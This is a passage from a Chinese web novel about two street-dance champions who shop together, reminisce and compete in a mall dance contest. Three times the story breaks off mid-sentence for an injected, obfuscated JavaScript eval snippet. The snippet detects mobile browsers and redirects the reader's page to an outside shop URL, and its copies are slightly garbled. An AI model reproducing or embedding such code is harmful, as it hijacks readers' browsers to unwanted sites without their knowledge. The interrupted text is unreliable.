木南苏感受到打探的目光，抬头看见顾以默出来，便站好将背包整理一下，等他走近后对他说：“你要去商场吗？” 顾以默点头，开口问道：“怎么了？” “一起吗？我要去超市买点生活用品。”木南苏的语气带了些请求。 顾以默闻言愣住，想起小时候的经历。 七岁那年，他们两家一起去商场逛街，几步没跟上，他与木南苏就和家人走散。 顾以默很慌乱但又不敢走远，就和木南苏走到商场边缘处等着，却没想到引来不少路人问话。 他们从小就被爸妈没少教育走丢后的办法，所以顾以默当时谁也不理，紧紧拉着木南苏的手不放，静静等着家长来找他们。 但始终有人与他们搭话，甚至还有人看木南苏模样乖巧，直接拉着木南苏的胳膊，试图硬生生将他们拽走。 顾以默从小就不是什么老实孩子，胆大反应又快，见不对劲就一手拉着又哭又喊的木南苏不放，另一只手将身后货架的易碎品全部打翻，吸引工作人员注意。 工作人员赶到之后，拉着他们走的人被保安追到带走，他们也找到了爸妈。 虽然当时有惊无险，但从那之后，木南苏却再也不敢去商场，除非他跟着一起去。 顾以默突然有些说不出话，皱眉轻声问道：“那你之前比赛怎么比的？大部分商业比赛都是在商场举办的。” “我有我的办法。”木南苏紧紧握住手机，拒绝回答这个问题。 顾以默无奈笑笑，知道他不想说便推开门往前走换了个问题：“那你怎么买东西？你和同学之间不逛商场吗？” 木南苏抬步跟上，在他身边低下头小声地说：“他们会叫我，但我不去.......学校里有小卖部，日常生活的东西都可以买到。” 声音很小，是顾以默不仔细听就会被汽车鸣笛声盖住的程度。 真是...... 顾以默叹气，走到一辆共享汽车面前掏出手机扫码，操作完成后打开副驾的车门对着木南苏说：“走吧，一起去吧。” 木南苏愣神，他刚才只是尝试性问一下，没想到顾以默真的愿意带他一起去，一时间没反应过来。 “不去？不去我走了。”顾以默对傻站在原地的木南苏说道，并松手走向驾驶室开门坐进去。 刚系好安全带，身旁就感受到一股风。 顾以默抬头看去，木南苏已经关上车门拉过安全带一言不发地扣在安全扣上。 “谢谢。” 顾以默将车子发动起来，伴随着发动机的响声木南苏开口道谢。 “你说什么？我没听见。”顾以默故意大声说道。 “谢谢！”木南苏提高音量对着顾以默又说了一遍，耳朵随即也红了起来，目视前方不再说话。 恶作剧得逞的顾以默心情愉悦，悄悄勾唇开车前往商场。 7. 逛商场 “这位冠军，你好像忘了什么事情。”顾以默将车停到停车点，熄火后转头看向木南苏懒散地提醒道，“我要的建议呢？” 木南苏一时间没反应过来，呆愣几秒之后才想起顾以默说的是什么，根据他路上说的那些情况，抿嘴思考着，“我觉得......鞋子？衣服？” “或者如果他喜欢有喜欢的动漫人物或者游戏人物，送他个手办？” 顾以默闻言，陷入思考。 衣服和鞋子他本身就要给沈一川买的，沈一川平时一向对衣服没什么要求，但毕竟出去比赛不能说穿得多好，起码要有几套衣服换着穿。 手办的话......沈一川好像除了喜欢打游戏，没什么别的兴趣爱好。 顾以默突然借此想到游戏皮肤，眼神骤然一亮。 这是个可以让沈一川退还不了又绝对舍不得不要的好想法。 他转头朝木南苏露出感激的表情，解开安全带，和木南苏一同下车。 “你要买的东西多吗？”顾以默走到商场门口，拿出手机锁车开口问道。 木南苏摇头，发现顾以默在看手机，便开口重复一遍，“不多，就买一些生活用品和零食。” 顾以默锁好车将手机放进衣兜，对木南苏点头转身准备走。 下意识去拉木南苏的手，抓空之后顾以默才反应过来刚刚干的事，收回手转头勾唇向他道歉，“啊......不好意思，我以为你还是像小时候那样需要我拉着手才肯进去，看来你这些年也不是一点长进都没有，不错，长大了。” 木南苏斜眼瞪着顾以默，想起小时候自己粘他的场景实在觉得丢人，将头偏向一边不再看他。 “走吧，不逗你了。”顾以默适可而止，和他并肩走着。 把木南苏逗急了可不是好玩的，这一点他还是深有体会且记忆犹新的。 进到商场，顾以默轻车熟路地带木南苏来到一家潮牌店，挑了几件衣服，让店员帮忙拿一下沈一川的尺码。 等待的过程中顾以默四处闲逛，一条白色运动裤吸引住他的目光，他前去拿起。 这条运动裤面料很舒适，跳舞穿应该不错。 顾以默本想给自己买，转头看见正在看卫衣的木南苏，突发奇想拿起裤子朝他比划一番，发现这条裤子更适合他。 顾以默将运动裤放回原处，继续逛着其他衣服，发现没什么要买的，来到收银台结了账。 “您好，这是您的衣服，请您拿好。”店员露出职业微笑，将手提袋双手递给顾以默。 “谢谢。”顾以默接过。转身再次看见那条运动裤，又看向试衣间紧闭着的门，木南苏此刻正在里面换衣服。 顾以默走回收银台，指着试衣间的方向问道：“刚才那个男生的裤子尺码是多少？” 待木南苏出来，见顾以默提着好几个购物袋的场景愣住神，走到他身边抬眼问他：“你的衣服都是一次性的吗？怎么买这么多？” “你想多了，这里面的衣服没一件衣服是我的。”顾以默将其中一个购物袋送到木南苏面前，“这个是给你的见面礼。” 木南苏半信半疑地打开，果然如他所料里面什么都没有，只装了两瓶水。 “幼稚！”木南苏吐槽。 他话虽这么说，但还是将两瓶水从袋子里掏出拿在手里，手提袋丢给了顾以默，转身前去结账。 自己买了两件衣服，还好意思说他？ 顾以默见状在心里控诉木南苏，在一旁等他结完账一起走向超市。 顾以默陪木南苏来到零食区，看木南苏拿了一堆零食放进车里，开口打趣道：“你不是来买生活用品的吗？” 木南苏手提薯片大礼包放进购物车，闻言朝他一笑，“零食对我来说也是生活用品。”说完推着车继续囤粮。 顾以默本来不打算买什么，逛完超市却跟着木南苏买了一堆零食。 “你不是不能吃零食吗？”木南苏走到收银台，看到顾以默的购物车里装着和自己差不多的东西，“现在能吃了？” 顾以默苦笑摇了摇头，和他解释：“没有，给徒弟买的。” 他从小就是易上火的体质，只要一吃零食就扁桃体发炎，甚至因此还做了一场不小的手术。 从此以后，他再也不想吃零食，即便是吃，也只是浅尝而止，绝不会吃超过一包的量。 木南苏提着东西等顾以默，闻言奇怪道：“我发现你对你徒弟的关心有点过分了。” “那有什么办法？”顾以默付了钱拿起东西往前走，“他体能消耗那么大，又是爱吃零食的年纪，自己又舍不得买，我这个当师父的，总不能饿着他。” 木南苏闻言笑笑，不再说话。 两个人提着东西路过一家街舞培训班，顾以默停下脚步看着里面的场景，有些愣神。 两个小男孩面对镜子扎着马步有说有笑，察觉到有人进来，他们立马一副认错的模样。 顾以默想起自己以前和卢择也是这样的，每次师父罚他们，他们根本不觉得自己做错了，但还是表面上装可怜求放过。 师父心软，所以每次他们只要有一点认错的迹象，师父都会口头警告一下就算了...... 感受到视线模糊，顾以默连忙偏过头眨眼，阻止眼泪流出。 随后身旁传来一声轻笑，顾以默疑惑地看过去。 “不用躲，我什么都没看见。”木南苏感受到他的目光，看着视频漫不经心说道。 ....... 谢谢老人家抽出时间用如此“精湛”的演技敷衍他！ 顾以默满脸无语哼笑，发现木南苏手机里放的是世界赛的回放，内心感叹着此人的阴险狡诈，眼睛却跟他一起看，在内心挑着自己的错误。 片刻后视频结束，木南苏偏头看向顾以默，挑眉问他：“关于这次比赛，作为亚军你有什么想法吗？” 顾以默没什么想法，云淡风轻摇摇头：“一场比赛能赢算不了什么。” 木南苏将手机放进兜里，哼笑一声拿起东西抬步就走。 顾以默见状不怀好意站在原地，勾唇看着他的背影。心如明镜似的肯定木南苏不敢走远。 果不其然还没三秒，前面的人就停下脚步回头看。 木南苏见顾以默丝毫没有要走的意思，便开口对他喊：“你是准备住这里吗？” 顾以默歪头，缓缓开口道：“我突然有这个想法了。” 木南苏知道顾以默想干什么，本不想搭理他，但想到没有他自己怎么回去，僵持了几秒后，自己默默走到他身边，满脸不情不愿承认道：“那就等下场比赛试试看！” “周末比赛输了不许哭。”顾以默居高临下对矮他半头的木南苏说。 “你也未必能赢。”木南苏笑笑，学着他刚才不屑的样子回击。 说完两人相视而笑。 来到停车场，看到共享汽车还在原位，两人默契地一同松了口气。顾以默将东西放在后座，接过木南苏手里的东西也一并放在后座。 放好东西后，顾以默坐进驾驶室系安全带，等木南苏坐好便踩油门开车前往宿舍。 快到宿舍的路上，木南苏想起自己手机好像掉在车里，连忙拦住准备锁车的顾以默，急匆匆地跑回去拿手机。 顾以默嘱咐木南苏找到手机发信息说一声，接过他手里的东西让他快去，自己拿着大包小包走到宿舍楼下，正好碰见卞澈。 “卞澈！”顾以默喊住他，招了招手示意让他过来。 卞澈见状立刻跑到顾以默面前，“师叔你买这么多东西啊，有什么事吗？。” 顾以默将自己那袋零食递给他让他抱着，活动了下发酸的手腕说：“这是给你和沈一川的，你们分着吃，别告诉你师父。” “什么事不能告诉我？”一个故作严厉的声音从顾以默背后响起，两个人瞬间紧绷身体。 卢择对他们的应激反应表示非常无语，走到中间抱臂看着他们两个，又看了看卞澈怀里抱着的零食，什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848828|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么情况一目了然。 顾以默知道卢择对徒弟严苛，赶紧开口胡说八道：“小孩嘛，你不让吃零食怎么行？天天运动量这么大，偶尔补充一下快乐源泉对他们也有好处。” 卢择不说话，就静静地看着顾以默展示口才。 顾以默晃了晃手里另一袋零食继续说：“再说了，木南苏从小就爱吃零食，不照样拿冠军。” “你赢了。”卢择给顾以默伸了大拇指，转头对准备上交零食的卞澈说，“拿着吧，你师叔为了让你们吃点好的自揭伤疤了，你自己少留点听见没！” 卞澈一听师父同意了，连忙点头应好，知道自己继续在这不合适，便开口道谢抱着零食欣喜地回宿舍。 顾以默看着卞澈的背影，突然有些心生羡慕...... 感受到肩膀一重，他偏头看去，卢择搭着他的肩膀看着他，似是在给他安慰。 “我没事。”顾以默低头莞尔，“就是还是习惯不了而已，总感觉师父还在身边。” 卢择闻言拍了拍他的肩膀，指着他手里的东西转移话题说：“你和木南苏去逛街了？” 顾以默点头，刚准备说话，手机来了一条消息提示音。 将手里的东西递给卢择让他帮忙拿一下，顾以默掏出手机去看，是木南苏发来的消息说手机找到了。 顾以默松了口气，将共享汽车锁住后接过卢择手里的东西，和他一起回了宿舍。 用钥匙打开门，顾以默将购物袋随手放在桌子上瘫倒在沙发，揉了揉隐隐作痛的腰，在心里感叹逛街比跳舞还累。 顾以默休息了一会，便从抽屉里拿出他平时用来拍视频的手机，放在三角支架上固定住，用平时的手机放着音乐，对着落地镜开始补回今天没完成的加训。 因为视线的受限，顾以默只能跳一段取下手机观察。发现基本功出错就罚自己重复这个动作做到有肌肉记忆为止，如果是用力点错了就罚体能，俯卧撑和深蹲各自二十个。 做完惩罚他会将音乐重新播放，从头再来一遍，如此反复循环着...... 不过多久顾以默的衣服就全是汗水的痕迹，像是努力得到认可后给他颁发的勋章。头发更是堪比淋了一场倾盆大雨，没有一根发丝没有被汗水滋润。 一阵不轻不重的敲门声打断了顾以默，他唤出手机里的语音助手将音乐暂停，拿毛巾擦着头前去开门。 见木南苏惊讶地看着他，顾以默朝他笑笑站到门的一侧让他进来。 “你也太拼了。”木南苏看着屋内的摆设不禁感叹，“腰伤好了？” 顾以默点头，伸手指了指沙发上的购物袋，“放心吧不碍事。喏，你的东西在那边。” 木南苏顺着他手指的方向走去，拿起自己的东西叮嘱顾以默注意休息，开门准备回房间。 准备继续练舞的顾以默突然想到什么，连忙叫住木南苏，走向一堆购物袋翻找着东西。 “给你，算是久别重逢送你的礼物。”顾以默拿着一个袋子递给木南苏，见他满脸疑惑但没有要接的意思。 顾以默无奈笑笑，向他保证这绝对不是恶作剧。 木南苏看他说的真诚，选择再相信他一次，拿过袋子双手打开往里看，一条纯白色带着浅蓝装饰的运动裤整整齐齐叠放在袋子里。 木南苏有些不明所以，抬头疑惑道：“这是？” “我看这条裤子挺适合你的，不买挺可惜。”顾以默被木南苏的反应逗笑，勾着唇和他解释。 木南苏点头将袋子合起来，朝顾以默浅浅一笑，“谢谢，我很喜欢。不过......你这是在贿赂我让我比赛手下留情吗？” 顾以默闻言低头一笑，随后逼近木南苏，和他对视不屑地说；“那我们拭目以待？” 木南苏不怕他这副模样，晃了晃手里的东西和他道晚安，便转身回自己的房间。 真是.......顾以默抱臂靠在门框，看着木南苏房间的方向哼笑一声，摇着头回到自己房间继续练舞。 8. 比赛前奏 顾以默接下来的几天，除了上课和上厕所，白天几乎都在舞蹈室度过，午饭就是让沈一川送过来，顺便抓着他一起加训。 如果不是担心晚上连累保洁阿姨等他，顾以默恨不得跳到第二天凌晨。 木南苏实在看不下去，想起顾以默抽屉里放着满满当当的药物，觉得再这么下去这人怕是要废。 “你要不要这么拼？”木南苏叫住刚下课准备去舞蹈室的顾以默，低头玩着手机用身体挡在他前面。 顾以默不以为然，没有回答他的话，和往常一样绕过他往舞蹈室走去。 明天就是比赛的日子，虽说是个小比赛，但在顾以默这里，上了舞台就要尽力去比。 对他而言，每次比赛他的对手其实是他自己。 木南苏见顾以默不理他，举起手机将摄像头对着顾以默满脸轻松地说：“干妈，顾以默不想理您。” “木南苏！”原本走到门口的顾以默闻声赶紧转头跑回来，瞪着木南苏握拳，在看见手机屏幕里面的老妈连忙切换表情，用毛巾擦着汗甜甜地叫了一声妈。 木南苏见他这副样子，憋着笑从耳朵上摘下一只耳机递给他。 顾以默心里直叫苦，他真没想到木南苏这么大了还玩告状这一招，拿过耳机戴进耳朵，面不改色地表现出和木南苏相亲相爱的样子。 视频里的顾妈妈穿着家居服戴着发卷，在看见顾以默满头汗的样子后不失优雅地怼道：“我听苏苏说，你又不要命了？就这么着急离开这个世界吗？” 顾以默指了指旁边的教室，示意让木南苏一起去教室坐地上接电话。听到老妈的话差点被自己绊倒，坐在地上拿过木南苏的手机委屈道：“你儿子明天要比赛，你都不给我点鼓励吗？” “没事，干妈给你鼓励！”木妈妈响亮的声音从手机背后传来。 木南苏听了不高兴，闷声委屈说：“妈，你都不给我加油。” “没事，干妈给你加油！”顾妈妈对着手机摄像头说道。 顾以默看向木南苏，见木南苏也在看他，两人相视而笑。 “谢谢干妈！”两人异口同声说道。 两人坐在地上陪着妈妈们聊了几句家长里短，顾以默再次因为不回家而被自家老妈阴阳怪气一番，他连忙把木南苏拉出来当挡箭牌说木南苏回去，这才算把太后哄好。 视频挂断的声音响起，顾以默脸色骤变，手下意识扶腰靠着镜子，他觉得现在有无数个小人踩在他的腰上，向下沉的同时伴随着鞋底砸进肉里的疼。 看见木南苏担心，顾以默朝他笑着摇头，闭上眼睛喘着气将身体放松缓神。 片刻后疼痛逐渐缓解，顾以默坐直身体看向木南苏，怕他开口问便转移话题轻松地说：“木南苏，你多大了？还玩告状这一套？” 木南苏第一次见到顾以默腰伤复发，慌乱之中急红了眼，不知道该怎么出手帮助。 听见顾以默的问题，他皱着眉直愣愣地说了实话：“谁劝你你都不听，我无奈只能搬救兵。” “以后别说了。”顾以默对他说，“我这些年不敢经常回家，就是怕他们知道这些。” 木南苏沉默点头。 回到宿舍，顾以默洗完澡从抽屉最深处拿出一盒绷带，将上衣脱掉用绷带娴熟地在腰部缠绕几圈。 做了几个基本的pop和roll，他发现有些影响动作的发挥。将绷带拆开松些力度重新缠上，又做了几个动作，感觉没什么问题就一头栽进床上，享受这一天当中最舒服的时候。 就当顾以默意识混沌，快要睡着的时候，放在一旁的手机响了起来。 “喂？”顾以默沉着声音懒散地接起电话，在听到对面的声音立刻打起精神从床上坐起，尽量让他的语气显得不那么烦躁，缓缓开口道：“师兄你说。” 隔壁宿舍。 木南苏刚从浴室出来走到镜子前，光着着上身准备在后腰贴膏药，听到敲门声朝门口看去，将药膏放在桌上走去开门。 顾以默见门开的迹象，收回准备继续敲门的手，挑着眉上下打探着木南苏的身材，勾唇随口夸赞道：“看不出来，你身材挺好，还有马甲线。” “有事？”木南苏不理会他的无聊挑逗，开门见山问道。 顾以默故作难为情，好心对木南苏提醒：“你确定要这样在门口和我说话吗？” 话音刚落，木南苏红着耳朵转过身，没有关门走进屋。 顾以默见状闷笑，觉得有趣，跟着木南苏进了房间随手关上门，看到桌子上放着膏药，皱眉问他怎么回事。 木南苏闻言回头，拿起沙发上的衣服穿上，无所谓地说：“一个小习惯而已，比赛前一晚我都会贴膏药，心里有安全感。” “你奇怪的小癖好还挺多。”顾以默勾唇，坐在餐桌前的椅子上说起正事，“卢择刚才给我打电话，我们可能明天要配合主办方拍几张照片。” 木南苏点头，见顾以默没下文却不打算走，他不催也不问等着顾以默开口。 “你明天.......” “popping。” 顾以默被木南苏的精准预判逗笑了，笑着点头说：“行，我知道了。早点休息，明天见。”说完起身开门。 顾以默躺在床上拿出手机回老妈消息，突然想起什么给木南苏发消息请他帮个忙，得到同意后顾以默浅笑。 和沈一川打几局游戏，看时间差不多便提醒他早点休息，随后关灯睡觉。 翌日中午，顾以默来到比赛现场，看见和人交谈的木南苏不禁挑眉。 木南苏将前面的头发扎起，那条白色运动裤穿在他身上果然正好，搭配灰蓝色宽松短袖和橙色板鞋确实很符合木南苏的气质。 见木南苏没有什么事，顾以默心里松了口气，肩膀却被人搭上，他偏头一看是卢择。 “你盯人家盯半天了。”卢择带着工作证，吊儿郎当对顾以默打趣，“你很不对劲啊老顾，是不是准备旧情复燃了？” 顾以默“切”了一声，不理会他的乐子，甩开他的胳膊前去检录处报名。 “顾以默啊，不知道他会报什么.......希望不要是Breaking.......” “那不一定，沈一川报的popping，没准他会和徒弟错开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848829|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么？沈一川是popping？那谁把他干下来啊？” “可能是木南苏？” 顾以默刚准备写报名表，闻言停笔拿起popping报名表翻看着。 这次比赛新人居多，沈一川确实很容易夺冠....... 顾以默冷哼，想到沈一川嘚瑟的表情就有点头疼，得把这小子的思想给板正，不然以后容易吃大亏。 这么想着他拿起笔，在报名表写上木南苏的名字。 帮木南苏报完名，顾以默问工作人员要来hiphop的报名表，在一片哀嚎和起哄声下写上自己的名字，抽了张号码牌，翻开一看051，连忙询问面前的小姐姐能不能换一个。 “你还怕往后排吗？”卢择见状凑上来问道。 顾以默哀怨看向他，无语开口道：“我饿啊，我没吃饭大哥！” 卢择被这个理由堵得哑口无言，朝他摆摆手让他随意。 顾以默再次一抽，010这个牌号他觉得可以，在报名表上写了号码，将它贴在衣服上便去找木南苏。 “hiphop？”木南苏看见他衣服正面贴的号码牌，疑惑地开口问道。 顾以默还没来得及回答却被沈一川一个熊抱抱住，等身子站稳伸手抓住他的衣领往后拽。 保持一定距离后，顾以默笑着让他别高兴太早，从兜里拿出一张popping的号码牌递给木南苏，“交给你了。” “放心吧。”木南苏接过号码牌，看向在一旁愣住的沈一川，“不就是替你虐一下你徒弟吗？简单。” 还有没有天理了！两个世界冠军合伙欺负未成年！有没有人管管！ 沈一川原地崩溃，仿佛刚才的喜悦只是错觉。 顾以默被他快哭了的表情逗笑，随口安慰句没事跟着音乐热身起来。 音乐声停止，MC的声音响起，在一段广告介绍词结束后宣布比赛开始。 “OK，我们的海选即将开始！请一到十的选手按照号码顺序站上舞台，DJ，Let\''s——go——！” 从麦克风传来带着拖长音的高喊声伴随着音乐打碟的前奏响起，现场气氛瞬间沸腾起来。 海选第一场breaking，围观的群众纷纷停下脚步看向声源处，比赛场地瞬间成为整栋商场最热闹的地方，更是有大人将孩子架到脖子上去看。 其余选手在一旁热身聊天，轮到大神的时候会走上前去观看欢呼。 顾以默认真练着hiphop的基本功，尝试着跳了一段感觉状态还不错，便停下脚步保留体力，坐在地上玩起手机。 木南苏从卫生间回来找到顾以默，便坐到他身旁用喊的音量和他说：“你觉得你能夺冠吗？” “这我说的也不算啊。”顾以默抬头对木南苏开玩笑喊道，“这得看裁判的审美吧。” 木南苏听出顾以默这句玩笑话话里有话，低头心照不宣地笑了一下。 顾以默跟木南苏有一句没一句聊着的时候，卢择找到他们坐到他们中间。 “老顾，帮个忙吧？”卢择拿出一张popping的号码牌对顾以默说道。 9. 海选 顾以默在木南苏幸灾乐祸的笑容下，非常不情愿地拿过号码牌贴在自己衣服上。 “你为什么不自己上？”顾以默对卢择哀怨地咆哮着。 卢择抱臂看了看旁边的木南苏，转过头对他说：“我又不傻，两个世界冠军的battle才精彩，我去干什么？被血虐吗？” 被点名的木南苏摊手表示自己非常无辜，走到一旁贴心地给顾以默腾地方，自己跟着音乐练pop。 顾以默死咬后槽牙瞪着身后的木南苏，继续练着自己临时编的舞。 “我们的breaking组的海选已经结束，请各位hiphop组的选手做好准备，海选马上开始！”随着音乐声的减小，MC的声音再次响起，hiphop组的选手们闻声聚集舞台附近，伴随着音乐律动着，场面堪比群魔乱舞。 顾以默拿起放在地上的水喝了一口，看见木南苏伸过来的拳头鼓着腮帮子碰拳。 “加油。”木南苏笑道。 顾以默将水咽下，听到MC让选手上台，将手里的杯子放回地上朝他挥手，走向舞台。 “我去！顾以默？！” “我去！” “别慌，没准他不擅长hiphop，只是来玩玩的。” 顾以默不紧不慢走上台，路过那人面前时视线顺势一侧，特意停留一秒便继续往前走，在队尾停下脚步。 那人视线与顾以默相撞后，慌忙低下头，仿佛刚才说那句话的并不是他。 MC看选手们准备就绪，便让DJ开始放beat。一阵打碟声结束后，音乐声响起，编号001的选手走向台中央，面对裁判和观众开始自己的表演。 木南苏手拿可乐，走到顾以默旁边的地方就地一坐，咬着吸管满脸悠闲。 见顾以默看向他，指了指手里没打开的可乐。 顾以默对他勾唇一笑，转回头准备上场。 待9号下场后，顾以默走上前等着DJ切换beat，他闭着眼睛脑子里重组新的动作，当音乐响起，他脑子飞速旋转回想这首歌的节奏，抓住鼓点后开始自己的表演。 木南苏在前排看着顾以默，他终于知道顾以默的狂是从什么地方来的。 他没学过更不会跳hiphop，所以只能看出顾以默动作张开的力度很强，确实给人一种“老子天下第一”的感觉。 他听出这首beat的节奏并不规律，但台上的人却丝毫不受影响，足以说明顾以默脑子里的音乐库多强大。 满场快要盖过音乐的欢呼声，是对顾以默实力状况最好的反馈。 “Three、two、one.OK——” 随着MC的拖长音，顾以默放慢动作，一个侧身挥手结束这场一分钟的表演，顺便对着裁判漫不经心鞠一躬，在掌声中跑回自己的位置。 面前突然出现一条毛巾，顾以默下意识伸手接住，偏头看向木南苏。 见他正喝着可乐歪头朝自己眨眼，顾以默知道他又在装无辜。 将毛巾打开搭在头上擦拭几下，顾以默轻喘着气等裁判出结果。 MC拿着裁判的打分表读着晋级名单：“恭喜我们的1号、4号、7号和10号晋级，请下去休息一下，但不要走远，我们被淘汰的选手也不要觉得遗憾，可以继续关注我们其他赛区的比赛。” 顾以默一走出舞台区域就被几个人围住套近乎，其中就包括刚才说他不行的那个人，顾以默懒得搭理，但实在是没办法只能忍着饿一个一个敷衍着。 木南苏在一旁等顾以默，等人群散去走上前将手里的可乐递给他，不忘调侃：“挺受欢迎。” “什么乱七八糟的。”顾以默被逗笑，接过可乐喝了一口，勾唇对他说，“在这个圈子待久了，你会发现踩你的人和捧你的人，总有那么几个是你在这两头都见过的。” 木南苏愣住，他很想开口问顾以默这些年都经历了什么...... 重逢到现在，他明显感受到顾以默的变化，像是一匹狼被关押在铁笼里，不得不低头。 顾以默看木南苏皱眉沉默，明白他在想什么，伸手在他面前挥了挥装可怜，“亲爱的世冠，你不会觉得我现在胃口小到一杯可乐就填饱肚子了吧？” 说着毫不见外地把木南苏手里的可乐吸管拔出，把自己的吸管插进去，顺势弯腰低头喝了一口。 “最起码得两杯吧冠军，不要这么小气。”顾以默将可乐咽下对木南苏说。 ....... 变个屁！ 木南苏在心里深感无语，回想起从小到大，顾以默似乎都是这样上一秒惹人心疼，下一秒就让人心疼不起来的厚脸皮模样。 见顾以默似乎真的一杯不够喝，他故作嫌弃地把可乐丢给顾以默，一副不想理人的样子走向一旁的柱子就地坐下，拿起包裹严实的汉堡拆开咬了一口。 顾以默咬着吸管眉眼弯曲，余光瞥见不远处满脸写着“八卦”的付宵凡和卢择，不明所以地凑上前去吃瓜。 付宵凡一下搭住顾以默的肩膀，不坏好意地问道：“老实交代，你们是不是准备死灰复燃？” “啊？”顾以默没想到吃瓜吃到自己身上，没反应过来懵懵地说，“什么死灰复燃？” 卢择闻言明显不信，拿着手上的A4纸朝他头上打了一下，“少拿这个‘我和木南苏是发小’与现实不符的理由来敷衍我们。是前男友就老实交代，我们又不会把你怎么着。” 顾以默被这话吓得嘴里的可乐差点顺势喷出，连忙伸手捂住嘴维持自己的形象，另一只空着的手伸直让卢择打住。 等可乐咽下去之后，顾以默满是无语地对他说：“我要是和他在一起，怕是命都没了。” 说完他翻了白眼，走到木南苏身边，询问还有没有什么吃的。 “你这人，要吃也不早说！我就买了这一个套餐，你还要给我吃一半！” 木南苏拿着汉堡对抢他东西吃的顾以默喊道，伸手想去抢回来。 顾以默手拿着鸡肉卷，见木南苏想抢回去，手疾眼快拆开包装放在嘴边咬一口，口齿不清地搬弄是非：“你不要这么小气，我也是为你好！一会还要上场比赛，吃多了万一吐了多丢人是吧......再说了，双人餐，两个人一起吃才更香。” 木南苏从小就见识过顾以默歪理成堆，找不到什么话反驳回去，干脆瞪他一眼解气，闷头吃饭。 提前猜到顾以默一个鸡肉卷不够吃，木南苏把手里的汉堡吃完后，将剩下还没拆开且还带着温度的配餐小食递给他，对他说自己吃不下了。 “你看，我就说你吃不完吧。”顾以默朝他嘚瑟。 木南苏没有回话，靠在身后的柱子上悄悄看着他吃饭的背影，反复确认此刻并非梦境后，浅浅勾着唇闭目养神。 吃饱喝足，顾以默将垃圾收拾干净，起身准备去扔垃圾，余光看到木南苏的手正轻轻拉着他的一小块衣角后，愣住了神。 其实不算拉着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848830|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是把他的衣角放到手心，只要顾以默起身，衣角就能从木南苏手里滑出。 还以为你多大能耐........ 顾以默无奈一笑，将垃圾拜托给正好路过的沈一川让他帮忙扔掉，自己戴上耳机看回放复盘。 这次没有理由再输了，顾以默偏头看向一旁睡着的木南苏，在心里给他下了战书。 “OK，我们的popping组选手要准备了，海选即将开始。” 伴随着MC的通知，顾以默和刚睡醒的木南苏闻声从地上起身，相视一笑走向人群准备上场。 沈一川是001号，所以顾以默上前的时候刚好看到他的表演。 过程中，顾以默看出沈一川瞬间的慌乱，便明白台上的人又忘动作，不禁拧眉。 但好在他平日里对沈一川的自由发挥方面抓得很严，再加上沈一川的比赛经验，也算是没有太大的影响。 沈一川在表演过程中也看到顾以默的脸色，一分钟表演结束走向后排低下头抿嘴反思。 “你平时对徒弟很凶？”木南苏在旁边目睹了这一切，开口凑近顾以默问道。 顾以默摇头，看着沈一川继续说：“但这场比赛结束后，我必须对他凶点了。” 第一轮海选结束，沈一川晋级，下台时刚好与上台的顾以默碰面，低着头不敢说话。 顾以默面无表情看他一眼，越过他走向舞台站定中间位置。 “没事，顾以默就那脾气，别被他影响，准备下一轮比赛吧。”木南苏来到沈一川身边安慰道。 拍拍他的肩膀让他放松，自己也随即上台在顾以默旁边站定。 两个世界冠军并排站着，选手们一窝蜂地向前聚集观战和起哄，连带前来看热闹的观众越来越多，甚至还有家长让孩子坐在自己脖子上看热闹。 “哇，我们这一组热闹了！”连MC都忍不住拿起麦克风感叹，“这次的popping组简直是神仙打架，让我们来期待一下他们的表演，DJLet''sgo！” 顾以默看着前面选手的表现，看准机会与他无缝衔接，精准踩中节奏在欢呼声开始自己的表演。 就在马上结束动作的时候，顾以默余光瞥见准备上场的木南苏，突然想和他来一场短暂battle。 他临时改了动作，一个轻盈的侧滑步来到木南苏面前，双手弯曲简单做了一个胸部的pop。 木南苏微怔，随后反应过来顾以默是在帮他衔接，便以自己准备好的编舞回击了过去。 即便只是短短几秒的动作，围观的观众们依旧是炸了锅。 “啊啊啊啊！这两个帅哥是谁啊，也太好磕了吧！” “我不允许还有人不知道这是最近超级火的冠军攻和黑马受原型！！” “原来是他们啊！！！我在网上听说过他们！！！我今天来的太值了！” “怎么办我更觉得好磕了！他们明显就是台上对手台下兄弟那种！” “哇真是，这俩人的气氛好暧昧，还说不是前男友，说现男友我都信！”付宵凡在台下对沈一川感叹道。 意料之外没有听到回应，付宵凡觉得奇怪，转头撞上一张苦瓜脸，他用手指轻戳沈一川的胳膊，询问着沈一川怎么了。 沈一川被付宵凡一问彻底破防，满脸哭相对他崩溃大喊：“虽然师父和前师爹的互动我也很磕.......但是师父他瞪我，我更不想对战他们两个！他们简直是魔鬼啊！魔鬼啊！” 10. 复赛 